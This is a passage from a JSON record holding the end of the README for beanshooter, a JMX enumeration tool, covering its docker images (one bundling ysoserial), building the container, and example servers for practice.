endpoint\ncan be found on port `1090`.\n\n\n### Docker Image\n\n---\n\nSince version `v3.1.1`, *beanshooter* is also available as docker image and can be pulled from the\n[GitHub Container Registry](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Fbeanshooter).\nFor each release, there is a *normal* and a *slim* version available. Both provide a full working version of\n*beanshooter*, but only the *normal* version ships with [ysoserial](https://github.com/frohoff/ysoserial)\nincluded, resulting in a larger image size:\n\n* `docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0` - `124MB`\n* `docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0-slim` - `64.8MB`\n\nYou can also build the container on your own by running the following commands:\n\n```console\n[user@host ~]$ git clone https://github.com/qtc-de/beanshooter\n[user@host ~]$ cd beanshooter \u0026\u0026 docker build -t beanshooter .\n```\n\n\n### Example Server\n\n---\n\n![](https://github.com/qtc-de/beanshooter/workflows/example%20server%20-%20master/badge.svg?branch=master)\n![](https://github.com/qtc-de/beanshooter/workflows/example%20server%20-%20develop/badge.svg?branch=develop)\n\nMost of the examples presented above are based on the [jmx-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Fjmx-example-server)\nand the [tomcat-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Ftomcat-example-server).\nThese servers are contained within this repository in the [docker](/docker) folder and can be used to practice *JMX* enumeration.\nYou can either build the corresponding containers yourself or load them directly from the *GitHub Container Registry*.\n\nCopyright 2023, Tobias Neitzel and the *beanshooter* contributors.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fqtc-de%2Fbeanshooter","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fqtc-de%2Fbeanshooter","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fqtc-de%2Fbeanshooter/lists"}